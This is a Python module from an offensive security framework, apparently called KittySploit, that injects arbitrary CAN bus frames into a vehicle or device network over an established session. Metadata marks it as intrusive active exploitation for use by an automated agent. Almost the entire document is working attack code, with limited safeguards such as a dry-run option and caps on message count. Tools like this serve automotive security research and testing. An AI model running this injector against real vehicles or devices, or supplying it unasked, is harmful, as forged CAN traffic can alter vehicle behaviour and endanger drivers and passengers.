Inject CAN Message

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
CANBUS Message Injector - Injects CAN messages into the bus
Author: KittySploit Team
Version: 1.0.0
"""

from kittysploit import *
from core.output_handler import print_info, print_success, print_error, print_warning
import time

class Module(Post):
    """Inject CAN messages into the bus"""
    
    __info__ = {
        "name": "Inject CAN Message",
        "description": "Injects CAN messages into the bus (attack/exploitation)",
        "author": "KittySploit Team",
        "version": "1.0.0",
        "session_type": SessionType.CANBUS,
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': ['rce', 'shell', 'file_read'],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': ['shell'],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }
    
    can_id = OptString("", "CAN ID to inject (hex format, e.g., 0x123)", required=True)
    data = OptString("", "Data to inject (hex format, e.g., DEADBEEF)", required=True)
    extended_id = OptBool(False, "Use extended CAN ID (29-bit)", required=True)
    remote_frame = OptBool(False, "Send as remote frame", required=True)
    dry_run = OptBool(False, "Validate and print the message without sending", required=False)
    store_sent = OptBool(True, "Append sent messages to session.data['sent_messages']", required=False)
    count = OptInteger(1, "Number of times to inject the message", required=True)
    interval = OptFloat(0.1, "Interval between injections in seconds", required=True)
    
    def check(self):
        """Check if session is a CANBUS session and if python-can is available"""
        try:
            import can
        except ImportError:
            print_error("python-can is required but not installed")
            print_info("Install it with: pip install python-can")
            return False
        
        session_id_value = str(self.session_id)
        if not session_id_value:
            print_error("Session ID not set")
            return False
        
        if self.framework and hasattr(self.framework, 'session_manager'):
            session = self.framework.session_manager.get_session(session_id_value)
            if session:
                if session.session_type == 'canbus':
                    return True
                else:
                    print_error(f"Session is not a CANBUS session (type: {session.session_type})")
                    return False
            else:
                print_error("Session not found")
                return False
        else:
            print_warning("Session manager not available - assuming valid session")
            return True
    
    def run(self):
        """Inject CAN message into the bus"""
        try:
            import can
            
            session_id_value = str(self.session_id)
            
            if not self.framework or not hasattr(self.framework, 'session_manager'):
                print_error("Framework or session manager not available")
                return False
            
            session = self.framework.session_manager.get_session(session_id_value)
            if not session:
                print_error("Session not found")
                return False
            
            data = session.data or {}
            interface = data.get('interface') or 'socketcan'
            channel = data.get('channel') or 'can0'
            bitrate = data.get('bitrate') or 500000
            
            can_id = self._parse_can_id(self.can_id)
            if can_id is None:
                print_error(f"Invalid CAN ID: {self.can_id}")
                return False

            is_extended = bool(self.extended_id)
            if not is_extended and can_id > 0x7FF:
                print_error("Standard CAN IDs must be <= 0x7FF. Enable EXTENDED_ID for 29-bit IDs.")
                return False
            if is_extended and can_id > 0x1FFFFFFF:
                print_error("Extended CAN IDs must be <= 0x1FFFFFFF")
                return False
            
            data_str = self._normalize_hex(self.data)
            if len(data_str) % 2 != 0:
                print_error("Data must be in hex format with even number of characters")
                return False
            if any(c not in "0123456789ABCDEFabcdef" for c in data_str):
                print_error("Data must contain only hex bytes")
                return False
            
            data_bytes = bytes.fromhex(data_str)
            if len(data_bytes) > 8:
                print_error("Classic CAN payloads are limited to 8 bytes")
                return False

            count = int(self.count)
            interval = float(self.interval)
            if count < 1:
                print_error("COUNT must be >= 1")
                return False
            if count > 1000:
                print_error("COUNT is capped at 1000 for safety")
                return False
            if interval < 0.01:
                print_error("INTERVAL must be >= 0.01 seconds for safety")
                return False
            
            # Create CAN message
            message = can.Message(
                arbitration_id=can_id,
                data=data_bytes,
                is_extended_id=is_extended,
                is_remote_frame=bool(self.remote_frame)
            )
            
            print_info("Injecting CAN message...")
            print_info("=" * 80)
            print_info(f"CAN ID: 0x{can_id:03X} ({'extended' if message.is_extended_id else 'standard'})")
            print_info(f"Data: {data_str.upper()}")
            print_info(f"Remote Frame: {message.is_remote_frame}")
            print_info(f"Count: {count}")
            print_info(f"Interval: {interval} seconds")
            print_info(f"Dry run: {bool(self.dry_run)}")
            print_info("")

            if bool(self.dry_run):
                print_success("Dry run completed; message was not sent")
                return True
            
            # Use a live bus object from the listener when available, otherwise reconnect.
            own_bus = False
            try:
                bus = self._get_session_bus(data)
                if bus is None:
                    bus = self._open_bus(interface, channel, bitrate)
                    own_bus = True
            except Exception as e:
                print_error(f"Failed to connect to CAN bus: {e}")
                return False
            
            # Inject messages
            injected = 0
            sent_records = []
            for i in range(count):
                try:
                    bus.send(message)
                    injected += 1
                    sent_records.append({
                        "timestamp": time.time(),
                        "can_id": can_id,
                        "can_id_hex": self._fmt_can_id(can_id),
                        "data": data_str.upper(),
                        "dlc": len(data_bytes),
                        "is_extended": message.is_extended_id,
                        "is_remote": message.is_remote_frame,
                    })
                    print_success(f"Message {i+1}/{count} injected: 0x{can_id:03X} - {data_str.upper()}")
                    
                    if i < count - 1:  # Don't sleep after last message
                        time.sleep(interval)
                except Exception as e:
                    print_error(f"Error injecting message {i+1}: {e}")
            
            if own_bus:
                try:
                    bus.shutdown()
                except Exception:
                    pass

            if bool(self.store_sent) and sent_records:
                try:
                    session.data.setdefault("sent_messages", []).extend(sent_records)
                    if hasattr(self.framework.session_manager, "update_session_data"):
                        self.framework.session_manager.update_session_data(
                            session_id_value,
                            {"sent_messages": session.data.get("sent_messages", [])}
                        )
                except Exception:
                    pass
            
            print_success(f"\nSuccessfully injected {injected}/{count} messages")
            print_warning("Message injection may affect vehicle/device behavior")
            
            return True
            
        except Exception as e:
            print_error(f"Error injecting CAN message: {e}")
            import traceback
            traceback.print_exc()
            return False

    def _get_session_bus(self, data):
        """Return a listener-owned python-can bus if the session exposes one."""
        for key in ("bus", "can_bus", "connection"):
            bus = data.get(key)
            if bus is not None and hasattr(bus, "send"):
                return bus
        return None

    def _open_bus(self, interface, channel, bitrate):
        import can

        if interface == "socketcan":
            return can.interface.Bus(channel=channel, bustype="socketcan")
        if interface == "virtual":
            return can.interface.Bus(channel=channel, bustype="virtual")
        return can.interface.Bus(channel=channel, bustype=interface, bitrate=bitrate)

    def _parse_can_id(self, value):
        try:
            text = str(value).strip()
            if text.lower().startswith("0x"):
                return int(text, 16)
            if all(c in "0123456789ABCDEFabcdef" for c in text):
                return int(text, 16)
            return int(text)
        except Exception:
            return None

    def _normalize_hex(self, value):
        if isinstance(value, (bytes, bytearray)):
            return bytes(value).hex().upper()
        return str(value or "").replace(" ", "").replace(":", "").upper()

    def _fmt_can_id(self, can_id):
        return f"0x{can_id:03X}" if int(can_id) <= 0x7FF else f"0x{can_id:08X}"